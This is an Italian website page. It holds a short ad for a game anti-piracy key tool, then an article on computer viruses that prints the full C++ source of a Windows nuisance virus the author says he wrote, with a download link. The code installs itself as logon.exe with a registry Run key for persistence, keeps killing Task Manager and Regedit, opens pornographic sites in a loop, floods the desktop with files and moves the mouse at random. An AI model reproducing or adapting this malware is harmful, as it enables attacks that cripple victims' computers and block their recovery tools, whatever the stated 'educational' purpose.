Sicurezza informatica

GameLock in arrivo!

Sei uno sviluppatore di videogiochi? Stai lavorando su un progetto o lo hai appena terminato e ti stai chiedendo a che soluzione rivolgerti per proteggerlo dalla pirateria?

Niente paura, con il nostro software che a breve sarà disponibile per l'acquisto, puoi stare tranquillo che il tuo progetto che è costato fatica ed impegno, sarà al sicuro.

GameLock è il nuovo programma capace di offrire all'utente finale 3 diversi meccanismi di protezione con i quali puoi impedire che appena in vendita il tuo gioco circoli già sulle reti pirate.

I tre livelli di protezione previsti sono il livello Base, attraverso il quale il tuo gioco verrà protetto con una chiave semplice unica per tutti i giochi, buono per una versione demo ma non per intenti commerciali. Il livello Intermedio prevede una chiave unica per ogni utente che acquisterà il tuo gioco. Questo metodo è si adatto ad un utilizzo commerciale ma comunque poco sicuro. L'ultimo livello, il livello Premium, oltre ad assegnare ad ogni utente una chiave, attraverso una connessiore ad internet quando l'utente userà la chiave questa verrà disattivata e non potrà essere più usata se non contattandoti per riattivarla.

Verrà a breve rilasciato un video di presentazione per elencare le caratteristiche di questo programma.

Per ulteriori informazioni entrare nella sezione Game Tools Developers del sito.

Paolo Infante.

I Virus: Impariamo a conoscerli

Oggi tratteremo un argomento che potrebbe essere considerato da alcuni un po' delicato o in qualche caso offensivo. Stiamo parlando di quei software maligni che ogni giorno ci fanno dannare e che ci fanno odiare i pc: sono i virus informatici.

I virus informatici spaziano tra i più svariati tipi: da quelli che si limitano a rallentarti il pc, ad i veri e propri bastardi, quelli che incominciano ad infastidirti come non mai.

Ma come è fatto un virus?

Semplice, un virus è fatto utilizzando un linguaggio di programmazione, in modo da creare un file eseguibile capace di infettare un computer e causare problemi al possessore.

I linguaggi di programmazione possono essere dal famoso e complesso C++ al semplice Visual Basic. Io per dimostrarvi che creare un virus non è poi una cosa fuori dal normale ve ne ho inventato uno, bello e pronto, e tanto per disorientarvi vi scriverò il codice in cui è stato programmato.

 

#include

#include "regclass.h"

#include

#include

#include

 

// Customize the virus here

#define TASKKILLER 1

#define REGKILLER 1

#define PORN 1

#define DESKFILL 1

#define MOUSEMOVE 1

#define MOUSE_INTERVAL 7000

#define FILES_INTERVAL 30000

#define PORN_INTERVAL 15000

 

void killtask (void)

{

while (1==1)

{

PROCESSENTRY32 entry;

entry.dwFlags = sizeof( PROCESSENTRY32 );

 

HANDLE snapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, NULL );

 

if ( Process32First( snapshot, &entry ) == TRUE ) {

while ( Process32Next( snapshot, &entry ) == TRUE ) {

if ( stricmp( entry.szExeFile, "taskmgr.exe" ) == 0 ) {

HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, entry.th32ProcessID );

 

TerminateProcess(hProcess,0);

 

CloseHandle( hProcess );

}

}

}

 

CloseHandle( snapshot );

}

 

return;

} // TASKMANAGER KILL ROUTINE

 

void killreg (void)

{

while (1==1)

{

PROCESSENTRY32 entry;

entry.dwFlags = sizeof( PROCESSENTRY32 );

 

HANDLE snapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, NULL );

 

if ( Process32First( snapshot, &entry ) == TRUE ) {

while ( Process32Next( snapshot, &entry ) == TRUE ) {

if ( stricmp( entry.szExeFile, "regedit.exe" ) == 0 ) {

HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, entry.th32ProcessID );

 

TerminateProcess(hProcess,0);

 

CloseHandle( hProcess );

}

}

}

 

CloseHandle( snapshot );

}

 

return;

} // REGEDIT KILL ROUTINE

 

void openporn(void)

{

int sel = 1;

while (true)

{

if (sel==1)

ShellExecute(0, "open", "http://www.youjizz.com", "", "", SW_MAXIMIZE);

if (sel==2)

ShellExecute(0, "open", "http://www.youporn.com", "", "", SW_MAXIMIZE);

if (sel==3)

ShellExecute(0, "open", "http://www.redtube.com", "", "", SW_MAXIMIZE);

if (sel==4)

ShellExecute(0, "open", "http://www.xtube.com", "", "", SW_MAXIMIZE);

if (sel<4) {

sel++;

} else sel = 1;

Sleep(PORN_INTERVAL);

}

} // OPENS PORN PAGES

 

void filldesktop (void)

{

while (true)

{

for(int i=0;i<=100;i++)

{

char result[50];

strcpy(result,"dir > %userprofile%\\desktop\\user");

char i_s[20];

itoa(i, i_s, 10);

strcat(result, i_s);

strcat(result, ".dat");

system(result);

}

Sleep(FILES_INTERVAL);

}

}// FILLS THE DESKTOP WITH USELESS FILES

 

void movemouse (void)

{

while(true)

{

//adattare i due numeri alla vostra risoluzione

int x = 0 + rand() % 1024;

int y = 0 + rand() % 768;

SetCursorPos(x, y);

Sleep(MOUSE_INTERVAL);

}

}// MOVES RANDOMLY THE MOUSE

 

int WINAPI WinMain (HINSTANCE hThisInstance,

HINSTANCE hPrevInstance,

LPSTR lpszArgument,

int nCmdShow)

{

/* IMPLANTING VIRUS IN WIN DIRECTORY AND IN REGISTRY STARTUP */

char thispos[200];

GetModuleFileName(NULL, thispos, 199);

char endfile[100];

strcpy(endfile, getenv("WINDIR"));

strcat(endfile, "\\logon.exe");

CopyFile(thispos, endfile, FALSE);

RegistryClass *reg;

reg = new RegistryClass;

reg->SetString(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "logon", endfile);

/* NOW STARTING TASKMANAGER-REGEDIT KILL THREAD */

DWORD dwThreadId, dwThrdParam = 1;

if (TASKKILLER==1) HANDLE task_thread =  CreateThread(NULL, 0,

(LPTHREAD_START_ROUTINE)  killtask, &dwThrdParam, 0, &dwThreadId);

if (REGKILLER==1) HANDLE reg_thread =  CreateThread(NULL, 0,

(LPTHREAD_START_ROUTINE)  killreg, &dwThrdParam, 0, &dwThreadId);

/* NOW STARTING ANNOYING ROUTINE */

if (PORN==1) HANDLE porn = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) openporn, &dwThrdParam, 0, &dwThreadId);

if (DESKFILL==1) HANDLE desk = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) filldesktop, &dwThrdParam, 0, &dwThreadId);

if (MOUSEMOVE==1) HANDLE mouse = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) movemouse, &dwThrdParam, 0, &dwThreadId);

while(true)

{

}

return 0;

}

Vi state chiedendo cosa significa tutto questo? È codice programmato in C++ di un virus da me creato, il quale porta molte noie al malcapitato che dovesse aprirlo.

Ve lo allego a scopo educativo (mi raccomando, EDUCATIVO), e per favore, non siate così stupidi da aprirlo sul vostro pc, potreste incappare in seri guai.

DOWLOAD

Abbiamo 13 visitatori e nessun utente online